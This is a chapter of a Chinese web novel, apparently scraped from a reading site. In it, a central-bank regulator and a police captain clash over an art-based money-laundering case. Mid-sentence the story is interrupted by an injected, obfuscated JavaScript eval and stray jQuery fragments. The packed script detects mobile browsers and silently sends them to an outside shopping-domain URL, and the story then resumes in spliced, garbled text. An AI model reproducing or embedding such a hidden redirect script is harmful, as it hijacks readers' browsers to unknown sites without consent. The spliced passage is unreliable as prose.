文趣网 > 都市小说 > 两江经融事故[经侦] > 2. 艺术品洗钱案
    投影也同步切到了商业登记处的官网页面,金沙文化公司的股权结构里,赫然出现了濠江赌场的关联方。

    “根据渝蓉监管协作流程,”程叙白把电脑往前推了推,屏幕上接连亮起电子印章。

    先是“YJ—SH报关单已复核”,接着是“资金流向说明要求,已同步至总行系统”。

    李江海亮出红头文件,对程叙白的咄咄逼人有点不满:“这是特批的创新试点,程组长可以检阅一下。”

    “系统有提示,”程叙白只扫了文件一眼,点开风控模块,“这家企业的资金,每周三都会出现脉冲式峰值,单笔固定是499万元。”

    那个红色标记静静躺在那儿,比大额上报标准刚好少1万。

    他又放大了海关的X光扫描图:“这批货申报的是油画,但扫描显示……”投影屏上,金属轮廓隐隐反光,“这和贵金属偷运的常见特征完全吻合。”

    会议室一下子静了。

    刚才还看向程叙白的目光,此刻纷纷移开。

    只有系统提示音冷静地响着:

    【发现3项符合《反洗钱法》第20条的特征。】

    程叙白也沉默着,等着他们再反驳。

    就在这时,屏幕忽然闪了几下,接着直接接进了一个视频会议,总行金融稳定局局长出现在画面里。

    “根据SH028特派员上传的监管日志,现启动《跨区域风险联防联控机制》第3号预案。”

    李江海脸色一变,急忙解释:“这只是正常的政策创新尝试……”

    局长直接调出数据看板:“系统显示,渝蓉试点企业的资金异动特征,与2018年鹏城前海、2020年香洲自贸港的几起违规案例,高度相似。”

    张成还想说什么,却被突然响起的系统警报打断了。

    大屏幕自动锁定了三个银行账户,上面显示:【已触发总行自动冻结程序。】

    会议室里彻底没了声音。

    窗外的雨不知什么时候又下起来了,滴滴答答砸在玻璃上。

    远处长江上有货轮拉响汽笛,闷闷的鸣声传进来,和程叙白记忆里黄浦江的船笛重合在一起,一时有点恍惚。

    蓉城银保监局的林嘉怡代表在这时举手示意:“程组长,根据监测数据,我们蓉城发现了社保卡资金异常流动的情况。”

    程叙白点了下头,顺便切了幕布。

    刚好他面前的监管系统弹出了红色警报,屏幕上跳出一行字:

    【跨境资金异常流动警报→代码AL-114】

    “央行反洗钱系统监测到,”他调出一个三维的资金流向图,上面清楚标出了数据来源,“涉及渝蓉两地的医保结算记录、跨境金融备案信息,还有海关的特殊物品电子账册。”

    “我们核查发现,过去三个月里,一共有6.1亿元资金,通过虚假的医药交易渠道流到境外。”他边说边调出一家医院的药品进销存对比数据,“系统里显示他们卖出了320支曲妥珠单抗,但保税仓的实际出库记录只有50支。”

    话说到一半,程叙白突然顿住,转头看向会议室门口。

    走廊里传来一阵急促的脚步声,紧接着“砰”的一声响,像是有人用力撞开了消防门。

    坐在侧位的张成正在本子上记东西,但那钢笔质量不咋地,他甩了甩,墨汁直接溅在了程叙白袖口和屏幕上。

    程叙白收回目光,先抽了张纸巾擦了擦电脑屏幕上的污渍。

    屏幕亮着,映出一行系统提示:

    【数据已同步至总行区块链存证系统】

    这时,许文急匆匆推门进来,脸色不太好看:“博士,市经侦支队的江峙队长带人把数据机房封锁了,要求我们立刻中止会议。”

    程叙白头也没抬,手指在触控板上轻轻一划,投影屏幕立刻切换到警银协作平台的日志记录。

    “系统显示,经侦部门3小时05分前就已经签收了预警信息。”

    鲜红的时间戳还在不停闪烁,这人会来,他早就料到了。

    还没等其余人开口,会议室的门突然被大力推开,一股带着江水潮气的风猛地灌进来。

    紧接着,一个高个子踩着作战靴大步走了进来,雨衣没脱,水珠滴了一路。

    江峙直接走到会议桌最前面,把警官证往桌上一拍,像来打架一样。他身上雨衣的水珠还甩了程叙白西装一身。

    坐在主位的李江海敲了敲桌子,语气严肃:“江队长,我们这儿正开会呢,金融办公会的正式场合。”

    江峙眼睛都没转一下,声音稳稳的:“晓得,找的就是你们这儿。”

    他掏出警务通划了两下,屏幕一亮,恨不得怼在李江海脑门上:“部里特批的紧急协查令已经到了,这案子现在由我们接手。”

    这可是上面给的“尚方宝剑”,李江海脸一黑,话到嘴边又咽了回去。

    “按区域金融安全协作机制,这个案子现在已经正式转刑事侦查了。”

    程叙白抬手推了推眼镜,镜片反着江峙的身影:“央行的A级监管员有权限……”

    话没说完,他面前的系统忽然又弹出一个提示框。

    【数据来源:濠江金管局《可疑交易季报》】白纸黑字标明的重点关注对象。

    这行字就像一份官方背书,证明了江峙的调查确有依据。但他显然不满足于这份间接证据。

    江峙又划了一下警务通,直接把屏幕转到他面前,上面是刚确认过涉嫌的画廊监控截图。

    他双手往桌沿一撑,雨衣帽子上的水滴正落在程叙白的平板电脑上:“监控里这个戴朗格Datograph手表的,和金沙文化公司最终收款

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17595344|205563||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    方身份对上了。”

    程叙白看了一眼,迅速拿出央行的加密U盘,指纹验证后,系统界面跳出一行字:【跨境资金监管沙盒已启动/本次操作日志实时上链存证。】

    “那正好,请江队长解释一下,”他调出SWIFT系统的查询界面,“经侦收到预警之后,这笔钱,怎么还能转出去的?”

    “…………”

    空气里好像有火花噼里啪啦在响,众人的视线在俩人身上来回巡视着。

    这时候,江峙的警用PDA震了一下。他拿出来一扫,是总行刚推送的《协查清单》正在刷新。

    第一条,就是程叙白刚才展示的那笔,通过某个银行中转、拆分过的交易。

    “因为我们在收网。”

    江峙盯着他,左手从内袋抽出那份盖着红章的《协查令》,不轻不重地拍在桌上,右手按在腰间的枪套上。

    “现在起,请所有人配合调查。”

    直到这时,程叙白那双总是波澜不惊的桃花眼,才终于缓缓正式转向他。

    撞进他视野的,是张轮廓硬朗的脸。江峙的眼睛生得狭长锋利,眼尾微微上挑,此刻那双黑沉沉的眼睛正直勾勾地盯着他。

    不像在看人。

    程叙白心想,这男人看他的眼神,像是在打量猎物。

    还没等他开口,会议室里突然断电了,应急灯亮起,将两人对峙的影子投在墙上。

    “搞撒子?”李江海不满道,“启用备用电源。”

    程叙白没有受任何影响,他的声音在黑暗中响起:“我的权限可以覆盖现场任何取证环节。”

    不过半分钟,备用电源亮了起来。

    众人只看见程叙白那只染了墨的袖口正悬在证物袋上头,另一只手却已经在江峙的PDA上把最后一道查询指令给敲完了。

    江峙盯着他袖口的墨渍,笑得像头蓄势待发的猛兽:“怕我们篡改证据?”

    程叙白面无表情地抽了张纸巾擦电脑上的水,又拿出随身的手帕擦了擦袖口:“是怕有些人,连跨境支付的基础校验规则都看不懂。”

    亮起的屏幕上,报文详情页被红圈标出的字段正一闪一闪。他快速扫了一遍,随后合上电脑,端起咖啡杯,头也不回地走了。

    “……”江峙后槽牙磨了磨。

    艺术品洗钱这案子,江峙盯了可不是一天两天。

    中间倒也抓过几回人,可每次都卡在证据上,就是找不着实锤,最后只能放人,眼睁睁看着钱溜走。

    程叙白空降过来,对江峙来说,确实是个意外。

    不过这份“意外”可谈不上什么惊喜,他向来瞧不上那群坐办公室,光会敲键盘的花架子。

    说白了,要本事没有,还特爱指手画脚,摆谱。三句话不离规章制度,搞得好像天底下就他们最守规矩似的。